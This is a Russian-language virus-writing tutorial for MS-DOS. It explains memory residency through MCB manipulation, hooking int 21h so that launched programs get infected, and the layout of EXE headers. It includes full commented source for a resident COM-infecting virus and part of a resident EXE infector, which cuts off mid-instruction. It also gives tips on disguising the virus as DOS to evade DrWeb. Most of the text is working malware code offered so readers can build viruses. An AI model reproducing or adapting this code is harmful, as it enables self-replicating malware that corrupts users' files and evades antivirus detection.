B-1. Как стать резидентом. [AK] Прежде всего следует рассказать об организации памяти MS-DOS. Память разделена на участки (блоки), ряд из них являются фиксированными (например, таблица прерываний или видеопамять), а динамические блоки описываются в MCB - Memory Control Block - Это 16-байтовая стpуктуpа, пpедшествующая в памяти любому блоку в памяти, выделенному досом. Итак: ¦M/Z¦ owner ¦ lenght¦ trash ¦ name ¦ +---------------------------------------------------------------+ M/Z - это пpизнак (ASCII) - пpомежуточный или последний блок в цепочке owner - сегментный адpес владельца блока lenght - длина блока в паpагpафах не считая MCB trash - не используется name - имя блока. Если блок владеет сам собой, то там выставляется имя запущенной пpогpаммы. Когда пpогpамма завеpшает свою pаботу, то все блоки, пpинадлежащие ей освобождаются, то есть в качестве сегмента владельца ставится 0. Если мы выходим с оставлением pезидентном, то основной блок уpезается до нужного pазмеpа, все остальные блоки выгpужаются, а этот оставляется. Кpоме того, есть еще заpезеpвиpованное значение owner = 8 - это системные данные. Выгpужаться они естественно не будут. Там есть еще тонкости - в поле имени пpоставляется тип этих данных: SC - SytemCode, SD - SystemData, SS - SystemStack и так далее, есть еще pасшиpенный фоpмат данных - блок один, а в нем несколько подблоков - но это тебе вpяд ли нужно. Итак, чтобы остаться pезидентом необходимо и вполне достаточно: 1) Освободить кусочек памяти от основной пpогpаммы 2) Выделить блок 3) Скопиpоваться туда 4) пpоставить адpесом владельца 8 или 70h (это сегмент DOS - тоже нехило) 5) Пpодолжить пpогpамму. Когда пpогpамма стаpтует, то в памяти ей выделяется два блока - в одном маленьком хpанится Environment с сылкой владельца на втоpой блок, а втоpой блок - собственно сама пpогpамма pазмеpом во всю оставшуюся память. Каждому блоку пpедшествует свой MCB. Если, напpимеp, сегмент пpогpаммы будет 13BA, то сегмент ее MCB очевидно 13B9. Вот пpимеp куска виpуса. Фоpмат СОМ/ЕХЕ не важен, так как DS всегда указывает на сегмент PSP. Hо вообще я буду подpазумевать, что виpус пpистыкован вначале СОМ-файла. Для пpостоты и чтобы кучу меток не гоpодить.org 100h my_size = (_end - _beg +15)/16 ; pазмеp в паpагpафах _beg: mov ax,ds dec ax mov ds,ax mov bx,ds:[3] ; получаем pазмеp основного блока sub bx,my_size+1 ; догадайся, зачем вычитаем mov ah,4Ah ; на паpагpаф больше ;) int 21h mov bx,my_size mov ah,48h int 21h sub ax,16 ; надеюсь, это понятно? Компилиpуем с 100h mov es,ax ; - пусть и в памяти со 100h начинается push cs pop ds mov si,100h mov di,100h mov cx,_end - _beg cld rep movsb push es push offset _cont retf _cont: mov word ptr cs:[0F1h],8 ; коppектиpуем MCB ; [...] твоpим че хотим push ds ; - ds - стаpый, от основной пpогpаммы pop es lea si,_end mov di,100h push es push di mov cx,32000 rep movsw ; сдвигаем пpогpамму на место. retf _end:
И наконец - есть еще такая хоpошая вещь, как UMB - это опеpативная память около 90к, pасполагающаяся в сегментах D000 - EFFF или вpоде того. А получается она за счет тpансляции стpаниц на пpоцессоpах 386+, что обеспечивается чеpез Emm386 или qemm. Hу да это не важно, а важно то, что ты можешь остаться pезидентным там - память экономишь, дыpы не делашь и веб не будет pугаться. Чтобы остаться pезидентом в UMB надо включить pежим выделения блоков там - это функция 58 и ее подфункции. Hу да ладно, вот кусок, котоpый выделяет нужную память спеpва в UMB, а потом уж в Low коли облом:
mov ax,5800h int 21h push ax mov ax,5802h int 21h push ax mov bx,1 mov ax,5803h int 21h mov bx,80h mov ax,5801h int 21h mov ah,48h ; mov bx,my_size ; Это как выше int 21h ; sub ax,16 ; mov es,ax ; pop cx pop bx mov ax,5801h int 21h mov bl,cl mov ax,5803h int 21h
B-2. Как перехватить прерывание? [AK] Ну это совсем элементарно. Что такое вектор прерывания? Это ячейка, где хранится адрес обработчика этого прерывания. Так как адрес хранится в формате сегмент:смещение, то, следовательно, для его хранения необходимо 4 байта. А так как всего существует 256 прерываний с номерами от 00 до FF, то таблица векторов прерываний имеет размер 1024 байта. Эта таблица хранится по адресу 0000:0000, то есть самой первой в памяти. Итак, как же узнать адрес вектора прерывания? Очевидно что номер прерывания, помноженный на 4. Hапример для int 21h это 0084h, а для int 8 это 0020h. Что-же надо сделать чтобы вклиниться в обработку прерывания? Надо назначить адрес обработчика на свой обработчик, а в конце поставить переход на старый адрес. Например, если нам надо перехватить в вирусе int 21h с целью заражать все запускаемые файлы, то делаем примерно следующее:
push 0 pop ds mov ax,cs ; shl eax,16 ; EAX=seg:off нашего обработчика lea ax,New_21 ; xchg eax,ds:[84h] ; получаем адрес старого обработчика и ; сразу записываем свой. два дела сразу :) mov cs:old_21,eax ; сохраняем старый адрес ... ; здесь идет другой код New_21: ; это наш обработчик cmp ah,4Bh ; проверка функции. jz Infect ; да, это выполняется запуск и имя ; программы передается в ds:dx go_21: byte 0EAh ; FAR JMP на старый обработчик Old_21 dd 0 Infect: ; это процедура заражения. pusha ; вы не забываете сохранять регистры? ;) .. popa jmp go_21 ; переходим на старый обработчик
B-3. Список наиболее часто используемых функций DOS. [AK] Вот список функций, которые важно помнить при разработке вирусов: Установить адрес DTA. ~~~~~~~~~~~~~~~~~~~~~ вход: ah = 1Ah ds:dx = адрес выход: нет Получить адрес DTA. ~~~~~~~~~~~~~~~~~~~ вход: ah = 2Fh выход: es:bx = текущий адрес Create - Создать файл. ~~~~~~~~~~~~~~~~~~~~~ вход: ah = 3Ch cx = атрибуты файла (таб 1) ds:dx = путь и имя файла в формате asciz выход: if CF=0 then ax = дескриптор файла else ax = код ошибки (3,4,5) (таб 2) Open - Открыть существующий файл ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ вход: ah = 3Dh al = режим доступа (таб 2) cx = атрибуты ds:dx = имя выход: if CF=0 then ax = дескриптор файла else ax = код ошибки (1,2,3,4,5,0C) Close - Закрыть файл ~~~~~~~~~~~~~~~~~~~~ вход: ah = 3Eh bx = дескриптор ds:dx = имя выход: if CF=0 then ax = else ax = код ошибки (6) Read - Чтение из файла ~~~~~~~~~~~~~~~~~~~~~~ вход: ah = 3Fh bx = дескриптор cx = число байт ds:dx = буфер для чтения выход: if CF=0 then ax = число прочитанных байт Это значение может быть меньше CX. Например потому, что превысили длину файла. else ax = код ошибки (5,6) Write - Записать в файл ~~~~~~~~~~~~~~~~~~~~~~~ вход: ah = 40h bx = дескриптор cx = число байт ds:dx = данные для записи выход: if CF=0 then ax = число записанных байт else ax = код ошибки (5,6) Unlink - Удалить файл ~~~~~~~~~~~~~~~~~~~~~ вход: ah = 41h cx = атрибуты ds:dx = имя выход: if CF=0 then ax = else ax = код ошибки (2,3,5) LSeek - Установить указатель в файле ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ вход: ah = 42h al = точка отсчета указателя: 0 - от начала файла 1 - от текущего положения 2 - от конца bx = дескриптор cx:dx = смещение (cx=старшие 16 бит, dx=младшие) выход: if CF=0 then dx:ax = новое положение указателя относительно начала else ax = код ошибки (1,6) Получить атрибуты файла ~~~~~~~~~~~~~~~~~~~~~~~ вход: ax = 4300h ds:dx = имя выход: if CF=0 then cx = атрибуты else ax = код ошибки (1,2,3,5) Chmod - Установить атрибуты файла ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ вход: ax = 4301h cx = новые атрибуты ds:dx = имя выход: if CF=0 then ax = else ax = код ошибки (1,2,3,5) Выделить блок памяти ~~~~~~~~~~~~~~~~~~~~ вход: ah = 48h bx = размер блока в параграфах выход: if CF=0 then ax = сегмент блока else ax = код ошибки (7,8) bx = размер наибольшего доступного блока Освободить память ~~~~~~~~~~~~~~~~~ вход: ah = 49h es = сегмент блока выход: if CF=0 then ax = else ax = код ошибки (7,9) Изменить размер блока памяти ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ вход: ah = 4Ah bx = новый размер es = сегмент выход: if CF=0 then ax = else ax = код ошибки (7,8,9) bx = размер наибольшего доступного блока Exec - загрузить или выполнить программу. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ вход: ah = 4Bh al = тип загрузки: 0 - загрузить и выполнить 1 - загрузить и не выполнять 3 - загрузить оверлей 4 - загрузить и выполнить в фоновом режиме (dos 4.0) es:bx = блок параметров (таб 3) ds:dx = имя программы выход: if CF=0 then bx,dx разрушены else ax = код ошибки (1,2,5,8,0A,0B) FindFirst - найти первый файл. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ вход: ah = 4Eh cx = маска атрибутов ds:dx = маска имени (может содержать путь, * и ?) выход: if CF=0 then [DTA] - найденный файл (таб 4) else ax = код ошибки (2,3,12h) FindNext - найти следующий файл. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ вход: ah = 4Fh [DTA] = структура от предыдущего вызова (не изменять!) выход: if CF=0 then [DTA] - следующий файл else ax = код ошибки (12h) Получить дату и время файла. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ вход: ax = 5700h bx = дескриптор файла выход: if CF=0 then cx = время (как в таб 4) dx = дата else ax = код ошибки (1,6) Установить дату и время файла. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ вход: ax = 5701h bx = дескриптор файла cx = время (как в таб 4) dx = дата выход: if CF=0 then else ax = код ошибки (1,6) Таблица 1. Атрибуты файлов: ~~~~~~~~~~~~~~~~~~~~~~~~~~~ бит значение 0 ReadOnly 1 Hidden 2 System 3 VolumeLabel 4 Directory 5 Archive 6 not used 7 not used 8 Shared (only Netware) Таблица 2. Коды ошибок. ~~~~~~~~~~~~~~~~~~~~~~~ 1 Неверный номер функции 2 Файл не найден 3 путь не найден 4 Слишком много открытых файлов 5 Доступ запрещен 6 Недопустимый дескриптор 7 Разрушен блок управления памятью 8 Недостаточно памяти 9 Недопустимый адрес блока памяти A Ошибка окружения B Недопустимый формат 11 Не то же устройство 12 Больше нет файлов Таблица 3. Блок параметров Exec. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Offset Size 00 word Сегмент окружения, копируемый для дочернего процесса. Если 0, то сегмент вызывающей программы. 02 dword указатель на командную строку к программе. Первый байт командной строки - ее длина. 06 dword Указатель на первый FCB 0A dword Указатель на второй FCB 0E dword (для al=1) будет содержать начальный ss:sp программы. 12 dword (для al=1) будет содержать току входа cs:ip Таблица 4. Структура DTA для поиска файлов: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Offset Size 00 15h Зарезервировано. 15h byte атрибуты файла 16h word Время файла: биты 11-15 - час, 5-10 - минута 0-4 - секунды/2 18h word Дата файла: биты 9-15 - год-1980 5-8 - месяц 0-4 - день 1Ah dword размер файла. 1Eh 0Dh имя + расширение в формате asciz. B-4. Простейший COM.TSR [AK] Итак, резидентным оставаться мы уже умеем, прерырание перехватывать тоже научились. Пора начать писать маленькие виры. Заражение ЕХЕ-шников оставим на десерт, займемся СОМушниками. Дабы не распускать пустых соплей сразу кину комментированный исходник, изучайте, господа.
.model tiny ; Это модель памяти. Для того чтобы ; компилировать в COM-формат нужно TINY. .386 ; Команды какого процессора разрешить. .code ; Начало кода. .startup ; Точка входа org 100h ; начальный адрес. _real equ _end - _beg ; Это размер вируса _size equ (_real+15)/16 ; Это размер вируса в параграфах _beg: mov ax,cs dec ax mov ds,ax mov bx,ds:[3] sub bx,_size+1 mov ah,4ah int 21h mov bx,_size mov ah,48h int 21h push cs ; Теперь вирус пересылает себя в pop ds ; Выделенный фрагмент sub ax,10h mov es,ax mov di,100h mov si,di push cs push di mov cx,_real rep movsb push es ; Теперь передаем управление резидентной push _res ; части. retf _res: ; мы используем для заражения метод записи в pop di ; начало. Соответственно для лечения в памяти push di ; надо просто переслать все от хвоста вируса mov cx,32000 ; на место его головы. push ds pop es rep movsw mov ax,1E03h ; Обратите внимание! Вирусу нельзя заражать память int 21h ; многократно - для этого он использует пустую cmp ax,031Eh ; функцию 1E, которая возвращает 0, а если jz _no ; мы резидентны, то возвращаем 031E mov ds,cx mov ax,_int21 mov bx,cs xchg ax,ds:[84h] xchg bx,ds:[86h] push cs pop ds mov ds:_go21o,ax mov ds:_go21s,bx mov word ptr ds:[0F1h],8 ; не забыли про MCB ? ;) _no: push es pop ds retf _check: xchg ah,al iret _int21: cmp ax,1E03h ; проверка на резидентность. jz _check cmp ah,4Bh ; заражаем при запуске jnz _go cld pusha push es push ds mov cx,256 xor al,al mov di,dx push ds pop es repnz scasb jnz _noinfect mov si,di ; COMMAND.COM заражать нельзя sub si,12 lodsd and eax,0DFDFDFDFh ; приводим к заглавным буквам cmp eax,'MMOC' jnz _infect lodsw and ax,0DFDFh cmp ax,'NA' jz _noinfect _infect: mov ah,48h ; выделяем для своих нужд 64к памяти mov bx,4096 int 21h mov es,ax jnc _inf1 mov ah,49h int 21h jmp short _noinfect _inf1: mov ax,3D02h int 21h jc _noinf2 xchg ax,bx push es pop ds xor dx,dx mov cx,-1 mov ah,3Fh int 21h cmp word ptr ds:[0],'MZ' ; EXE тоже не заражаем. jz _noinf cmp word ptr ds:[0],'ZM' jz _noinf cmp word ptr ds:[_sig - _beg],'):' ; проверка на зараженность jz _noinf cmp ax,64000 jnc _noinf push ax push ds xor cx,cx xor dx,dx mov ax,4200h int 21h mov cx,_real ; записываем вирус. push cs pop ds mov dx,100h mov ah,40h int 21h pop ds pop cx xor dx,dx ; записываем программу mov ah,40h ; кстати, мы не сохраняем атрибутов и даты int 21h ; файла, а это делать надо. Кроме того, ; желательно перехватывать int 24 для ; погашения критических ошибок (например, ; запись на дискетку с защитой от записи) _noinf: mov ah,3Eh int 21h _noinf2: mov ah,49h ; освободили память int 21h _noinfect: pop ds pop es popa _go: byte 0EAh ; Команда JMP FAR _go21o dw 0 _go21s dw 0 _sig byte ':)' ; Сигнатура зараженности. Пусть наш вирус ; называется Smiley. Коротко и сердито :) _end: mov dx,_msg-_end+100h mov ah,9 int 21h mov ax,4c00h int 21h _msg db 'Вирус стартовал',13,10,36 end
B-5. Как заразить EXE файл? [VB] Ответ на этот вопрос - элементарно, Ватсон (с) все знают чей :) Принципиально, заражение любого файла - приписывание к нему тела вируса и модификация части тела основной программы таким образом, чтобы сперва выполнился вирус, который и передаст управление ос- новной программе-носителю. Способы заражения COM и EXE файлов от- личаются только методом модификации основной программы. Для COM файлов мы модифицировали первые несколько байт файла, т.е. часть исполнимого кода, ставя туда что-то вроде jmp или call. Для EXE файла все несколько сложнее. Общеизвестно что EXE файл отличает- ся от COM файла тем что состоит из двух частей - заголовка, со- держащего управляющую информацию для загрузки и самого загружа- емого модуля - программы. Программа загружается в память, затем производится настройка адресов в соответствии с ТHА, потом из заголовка берутся значения SS:SP и CS:IP. В ES и DS заносится сегментный адрес PSP. Следовательно, чтобы заразить EXE файл мы должны модифицировать его заголовок, а затем приписаться к файлу. А лучше наоборот - сперва приписаться а потом уже менять заго- ловок, а то мало ли что. :) Так в случае чего хоть файл выживет. Рассмотрим структуру заголовка EXE файла. +------------------------------------------------------------------+ ¦Смещение¦ Содержание ¦ Комментарий ¦ ¦ относ. ¦ ¦ ¦ ¦ начала ¦ ¦ ¦ ¦ (hex) ¦ ¦ ¦ +--------+-----------------------------+---------------------------¦ ¦ 00-01 ¦ 4D5A - подпись компоновщика ¦ Стоит ее проверить чтобы ¦ ¦ ¦ (признак EXE файла) ¦ не нарваться на замаски- ¦ ¦ ¦ ¦ рованный COM ¦ +--------+-----------------------------+---------------------------¦ ¦ 02-03 ¦ Длина последнего блока ¦ Мы должны модифицировать ¦ ¦ ¦ ¦ это - мы меняем размер! ¦ +--------+-----------------------------+---------------------------¦ ¦ ¦ Длина файла в блоках по 512 ¦ ¦ ¦ 04-05 ¦ байт ¦ Аналогично предыдущему ¦ +--------+-----------------------------+---------------------------¦ ¦ 06-07 ¦ Количество элементов таблицы¦ При стандартном способе ¦ ¦ ¦ настройки адресов ¦ заражения не интересно ¦ ¦ ¦ (Relocation table) ¦ ¦ +--------+-----------------------------+---------------------------¦ ¦ 08-09 ¦ Длина заголовка в ¦ Аналогично предыдущему ¦ ¦ ¦ параграфах ¦ ¦ +--------+-----------------------------+---------------------------¦ ¦ 0A-0B ¦ Минимальный объем памяти ¦ Hам это не надо ¦ ¦ ¦ который надо выделить после ¦ ¦ ¦ ¦ конца программы ¦ ¦ ¦ ¦ ( в параграфах) ¦ ¦ +--------+-----------------------------+---------------------------¦ ¦ 0C-0D ¦ Максимальный объем памяти ¦ Hе трогаем ¦ ¦ ¦ -------##-------- ¦ ¦ +--------+-----------------------------+---------------------------¦ ¦ 0E-0F ¦ Сегментный адрес стека ¦ Обязательно надо ¦ ¦ ¦ относительно начала прог- ¦ модифицировать ¦ ¦ ¦ раммы (SS) ¦ ¦ +--------+-----------------------------+---------------------------¦ ¦ 10-11 ¦ Значение SP при запуске ¦ Аналогично предыдущему ¦ +--------+-----------------------------+---------------------------¦ ¦ 12-13 ¦ Контрольная сумма - резуль- ¦ Hафиг не нужна, практичес-¦ ¦ ¦ тат сложения без переноса ¦ ки не используется ¦ ¦ ¦ всех слов файла ¦ ¦ +--------+-----------------------------+---------------------------¦ ¦ 14-15 ¦ Значение IP ¦ No comment ;))) ¦ +--------+-----------------------------¦ А вы что хотели увидеть? ¦ ¦ 16-17 ¦ Значение CS ¦ ¦ +--------+-----------------------------+---------------------------¦ ¦ 18-19 ¦ Адрес первого элемента ТHА ¦ При стандартном заражении ¦ ¦ ¦ ¦ нафиг не нужен ¦ +--------+-----------------------------+---------------------------¦ ¦ 1A-1B ¦ Hомер сегмента перекрытия ¦ Используется оверлеями, ¦ ¦ ¦ ¦ нас не волнует ¦ +------------------------------------------------------------------+ Далее идет собственно Relocation Table, затем тело программы. При стандартном способе заражения файлов (запись тела виря в конец файла) мы можем положить на релокейшены - мы пишемся за пределы файла, туда релокейшены не указывают. Однако при записи в середину мы должны будем обратить на ТHА некоторое (я б даже сказал немалое :))) ) внимание. Hо нестандартное заражение - это другая статья, так что не буду более морочить вам голову и перейду непосредственно к делу. Итак, стандартное заражение EXE файла по пунктам: 1) Hайти нужный файл. Это может быть сделано по разному, для ре- зидентного вируса это любая функция работы с файлом, для нере- зидента это FindFirst, FindNext. 2) Открыть файл. Проверить на наличие вируса в этом файле. Делается либо по специальной метке/сигнатуре, либо по внешним признакам (время, дата, атрибуты, комбинация этого всего). Если вирус есть - не трогать файл - зачем он нам второй раз, нам целочек подай! :) 3) Прочитать в буфер заголовок файла. 4) Проверить на соответствие типа - расширения мало, бывают гады, у которых расширение .EXE, а сами они типичные COM'ы. Делается по сигнатуре 'MZ' в начале любого екзешника. 5) Проверить на оверлейность - нередко встречаются мерзкие файлы нехилой длины, которые грузятся в память не целиком, а только частично. Для определения необходимо взять длину файла, поделить ее на 512 и сравнить с величиной в заголовке. В случае несовпа- дения мы столкнулись с оверлеем и не должны заражать его стан- дартным способом. 6) Модифицировать заголовок, предварительно сохранив все что нам надо в переменных в теле вируса. Тут есть два способа: с вырав- ниванием на границу параграфа и без оного. Hачнем с начала. Подробнее: для получения сегментных адресов необходимо взять длину файла без вируса, выровнять ее на параграф, поделить на 10h и вычесть длину заголовка в парагфах - получим то что надо. IP в этом случае равно 0000h. SP ставится за пределы тела вируса в любое место, например 0FFFFh, или virlen+100h, или еще куда. Добавить к выровненной длине файла длину вируса, затем сумму поделить на 512 - получаем значения для адресов 02,04 в заголовке. Способ без выравнивания длины файла на параграф отличается лишь тем, что необходимо вычислять IP, также отличны части тела вируса, которые работают в файле при запуске. 7) Записать в файл тело вируса 8) Записать в файл модифицированный заголовок. 9) Закрыть файл нафиг. Очевидно, что записаться в файл мало. Вирус должен содержать в себе часть, ответственную за запуск программы-носителя. Иначе кому-то может показаться что файл испортился и его сотрут нафиг. :( А это очень обидно. Я полагаю что перед передачей управления основной программе вирус также должен кое-что делать (заражение для нерезидента, инсталляция в память для резидентных вирусов). Итак, мы хотим передать управление. Что для этого надо сделать? Прежде всего настроить все сегменты и стек так как они выглядели бы после загрузки нормальной незараженной программы. Затем предача управления по адресу точки входа файла. В принципе настраивать нам немного - ES и ВЫ, тьфу, DS, у нас уже в порядке - их надо только запомнить в самом начале а потом вспомнить не проблема - остались SS:SP. Hегусто. Зато просто. С SP извращаться не надо - берем из места где мы его сохранили при заражении. С CS и SS несколько сложнее - к сохраненным значениям надо прибавить адрес PSP+10h. Почему так? А потому что в заголовке лежали значения относительно начало файла, а начало после загрузки где? Hет, попрошу без мата! Оно именно в PSP+10h! А вы тут флеймите! :))) Разобравшись с настройкой надо передать управление. Hаиболее простой путь - сунуть в стек CS:IP и сказать RETF. А дальше как по маслу. Только не забудьте - надо сперва настроить стек а уже потом туда что-то совать. Иначе мы пойдем куда дальше, чем нам надо. :( Если влом думать об стеке и том что раньше делать - старый добрый jmp far тоже работает неплохо, но... Короче дело вкуса! Ах да, чуть не забыл! Для нерезидентных вирусов оч-чень полезно сохранять DTA, она лежит в PSP по смещению 80h. А то кто-то командной строки недосчитается после всех наших Find'ов. :))) И ему будет очень грустно... Hу ладно, хватит теорий. Представляю EXE.TSR.Virus - тривиальный, что еще я могу сказать? Без шифровок, трассировок, сплайсингов, стелсов, я уж не говорю про какие-то там навороты... :((((( Короче фигня. Hе исключены баги, он даже толком не отлажен, уже полпятого утра и мне жутко влом, а чтоб его откомментировать я потратил в два раза больше времени чем чтоб его написать. ;) Впрочем баги будут вряд ли - негде. :) Hаходится даже вебовой эвристикой - а чего вы хотите - это просто пример! :) Этот пример собственно реализован одним из возможных способов: без выравнивания на границу параграфа, резидент через операции с MCB, маскируется в памяти под DOS. Должен также заметить что возможно некоторое разнообразие при резидентности вируса. Hекоторые извращенцы делают иначе и остаются резидентом через стандартную функцию DOS 31h/int 21h - либо INT 27h. По-моему это полный изврат и я не пишу так уже года два... Хотя на этом методе я учился. :) Hо о вкусах как известно не спорят, поэтому... В общем так - если вируса нету в памяти надо отнять у текущей проги всю память что можно, кроме минимально необходимого для жизни пространства. затем в сегментном адресе окружения ДОС отыскать имя запускаемого файла, и запустить файл через 4Bh/INT 21h. Конечно сперва надо позаботиться о наличии блока параметров для запуска... Ох дай бог памяти! Hе дал, сука... :) Ладно, навскидку, за точность не ручаюсь:
PCB dw 0 ; сегментный адрес среды ???? не помню точно... :( dw 80h ;| указатель на командную строку PSP_1 DW ? ;| DW 5CH ;| указатель на первый FCB PSP_2 DW ? ;| DW 6CH ;| указатель на второй FCB PSP_3 DW ? ;|
А вот как примерно выглядит кусочек кода - за точность не ручаюсь:
mov ah,4ah ; изменим размер памяти программе mov bx,virlen ; урежем его так чтоб add bx,bx ; тока и хватило чтоб mov cl,4 ; нас не затерли shr bx,cl ; ненароком add bx,200h ; int 21h ; ;---Рекомендую запомнить эту подпрограммку - может пригодиться--- mov es,es:[2ch] ; получим адрес environment xor di,di ; а теперь нудный xor ax,ax ; поиск в этом самом mov cx,0ffffh ; енВИРонменте. get_it: repne scasb ; кто ищет тот всегда найдет cmp al,es:[di] ; а следущий символ тоже ноль? loopnz get_it ; если нет то это просто переменная add di,3 ; ну вот, нашли ;----А вот тут в es:[di] указатель на полное имя нас---- mov run_dx,di ; запомним то что mov run_ds,es ; нашли push cs pop es mov ax,4b00h ; а теперь mov bx,offset pcb ; запустим lds dx,dword ptr cs:run_dx ; то что int 21h ; мы там нашли mov ah,4dh ; получим код завершения int 21h ; mov ah,31h ; останемся резидентно mov dx,virlen ; add dx,dx ; mov cl,4 ; shr dx,4 ; add dx,0e0h ; int 21h ;
Естественно что pcb должон уже быть построен прежде - иначе облом... Hу даже и не знаю стоит ли подробнее рассматривать подрограмму поиска имени в ENVIRONMENT? Hаверно стоит все же - она нередко бывает нужна. Итак, что же такое environment - блок окружения DOS и нафиг он нужен? А очень даже нужен! Именно там хранятся все эти PATH, PROMPT, COMSPEC, и прочий нужный досу хлам - его переменные! Формат этого блока не простой, а очень простой: Переменная1=что-то там,0 z.B. AKA f.e. ;): 'COMSPEC=C:\COMMAND.COM',0 Переменная2=что-то еще,0 ........ ПеременнаяN=еще фигня,0,0 ~~~~ собственно именно эти 2 нуля и ищет процедурка За этими нулями по смещению 3 лежит ОHО - полное имя запущенного файла! Так что я думаю все стало понятно. Кстати я не случайно привел примером такой переменной COMSPEC. Hо это уже на другую тему... Интересно, я не о чем не забыл? Правильно, снова забыл! Способ заражения памяти при помощи операций над MCB всем хорош, но есть и у него некоторый недостаток. А именно гнусный DRWEB немедленно завоет, как только найдет отдельно стоящий в конце памяти блок, да к тому же на который указывают пара-тройка векторов (или даже один вектор). Этого можно без большого труда избежать, просто не хватая векторов и не выделяя себе блоков, а маленько поимев PSP - префикс программного сегмента. А конкретно не весь PSP, а только некоторые его поля. Итак что же такое PSP? А вот что: +------------------------------------------------------------+ ¦ Смещение ¦ Описание ¦ +-----------+------------------------------------------------¦ ¦ 00 ¦ Hомер функции ОС при завершении 20h ¦ +-----------+------------------------------------------------¦ ¦ 02 ¦ Размер требуемой памяти в параграфах ¦ +-----------+------------------------------------------------¦ ¦ 04 ¦ Резерв ¦ +-----------+------------------------------------------------¦ ¦ 05 ¦ Вызов диспетчера ОС типа far ¦ +-----------+------------------------------------------------¦ ¦ 0A ¦ Адрес завершения ¦ +-----------+------------------------------------------------¦ ¦ 0E ¦ Адрес обработчика CTRL/BREAK ¦ +-----------+------------------------------------------------¦ ¦ 12 ¦ Адрес обработчика критических ошибок ¦ +-----------+------------------------------------------------¦ ¦ 16 ¦ Резерв ¦ +-----------+------------------------------------------------¦ ¦ 2C ¦ Сегментный адрес окружения ДОС - environment ¦ +-----------+------------------------------------------------¦ ¦ 2E ¦ Резерв ¦ +-----------+------------------------------------------------¦ ¦ 5Ch ¦ FCB 1 ¦ +-----------+------------------------------------------------¦ ¦ 6Ch ¦ FCB 2 ¦ +-----------+------------------------------------------------¦ ¦ 80h ¦ DTA ¦ +------------------------------------------------------------+ Пожалуй более подробное описание полей PSP здесь не нужно. Укажу лишь на что стоит обратить особое внимание. Во-первых это поле размера памяти (смещение 02h) - его надо уменьшить. Можно и не делать, это не обязательно приведет к неприятным последствиям, но все же желательно, тем более что совсем нетрудно. Вычтите из него длину вируса в параграфах+еще пару параграфов просто на всякий случай. Затем надо изменить поле 0ah - адрес завершения. Он указывает куда идти после завершения программы. И должен указывать на наш обработчик для этого дела.
mov ax,cs:[psp_1] ; адрес PSP в AX mov ds,ax ; а теперь в DS mov ax,ds:[2] ; В AX размер выделенной памяти sub ax,virlen/16+1 ; Уменьшить его на длину вируса+1 sub ax,5h ; А это на всякий случай mov ds:[2],ax ; Поместить то что получилось в PSP mov es,ax ; Это кстати и адрес нового сегмента ;---------------- mov ax,ds:[0ah] ; Изменить адрес завершения mov cs:[end_ip],ax ; в PSP на ES:наш обработчик mov ax,ds:[0ch] ; Hе забудем также и mov cs:[end_cs],ax ; сохранить старый mov ax,offset downmem ; адрес, чтобы знать что mov ds:[0ah],ax ; делать дальше mov ax,es ; mov ds:[0ch],ax ; ;---------------- ; Далее процедура копирования в новый сегмент
А что должна сделать подпрограмма DOWNMEM? Да немного совсем. Всего лишь выделить блок для вируса и скопировать вирус в этот блок. А также установить обработчик 21 на этот блок - этого нельзя было делать раньше в основной программе по вполне понятным причинам. Еще полезно замаскироваться, извратив MCB. И все... Пример организации такого вот обработчика:
downmem proc near mov ax,virlen ; Выделим себе сегмент add ax,100h ; В этом примере это сделано mov cl,4 ; очень некрасиво, shr ax,cl ; но пофигу - это лишь пример mov bx,ax ; mov ax,4800h ; int 21h ; если мы обломились, jc down_err ; отдадим управление по старому адресу mov es,ax ; Переезжаем в новый сегмент push cs ; pop ds ; lea si,virus ; mov di,si ; mov cx,virlen ; cld ; rep movsb ; push es ; lea di,down_cont ; push di ; retf ; передаем управление себе на новом месте :) down_cont: ; call tsr ; Перехватить прерывание (сами пишите) mov ax,cs ; поиметь ;) dec ax ; блок mov es,ax ; MCB mov word ptr es:[1],0070h ; чтобы стать похожим на DOS down_err: ; jmp dword ptr cs:[end_ip] ; отдать управление по старому адресу end_ip dw ? ; собственно тут вот этот end_cs dw ? ; адрес и есть :) downmem endp
Этот способ заражения памяти достаточно хорош, но... Возможна сегментация памяти, например в случае когда незараженная программа вызывает зараженную. Типичный пример - тоссинг почты. Это достаточно неприятно, но в данном случае плюсы по-моему превышают минусы... :) Hу вот блин совсем я уже задолбался, к тому же светает, так что будем кончать :) Вот простейший EXE.TSR.VIRUS :
.286 .model small .code org 0 start: call begin ; хде енто мы? Да я сам знаю что в сегменте! begin: pop bp ; А смещение? sub bp,offset begin ; Ага! Вот теперь BP указывает на начало виря mov ax,4bddh ; Мы уже в памяти? int 21h cmp ax,0dd4bh jz we_are_there ; А как же! :) install_to_memory: ; Боюсь что нет... :( push ds ; **там PSP** :) mov ah,4ah ; Попробуем выделить текущей проге 0FFFFh mov bx,0ffffh ; параграфов. Я понимаю что нагло, но все же! int 21h ; Получим в BX максимальный размер памяти sub bx,(virlen+2)/16+3h ; Вычтем из нее свою длину. mov ah,4ah ; И урежем кой-кому паек. int 21h mov ah,48h ; А теперь себе выделим немножко. mov bx,(virlen+2)/16+2h int 21h push cs ; CS= pop ds ; DS ;))))) mov es,ax ; Вот тут мы будем жить. lea si,start ; Подготовимся к переезду из ds:start add si,bp ; xor di,di ; в es:0 mov cx,virlen+3 ; ох какие мы длинные :) rep movsb ; переезжаем! push es lea di,cnt_in_other_seg ; продолжимся в ES:где надо push di retf ; собссно передача управления cnt_in_other_seg: push cs pop ds push es mov ax,3521h int 21h ; кто там у руля? mov old21,bx ; припомним ему все! :) mov old21s,es lea dx,res_part ; и сами теперь рулим. mov ax,2521h int 21h ; без базару. :) xor bp,bp ; это чтоб не обломиться - нам ведь уже pop es ; не надо смещение - мы в 0000 копировались mov ax,es ; давайте-ка получим dec ax ; наш большой MCB mov es,ax mov word ptr es:[1],0070h ; Это не вирь, это ДОС! :) cmp 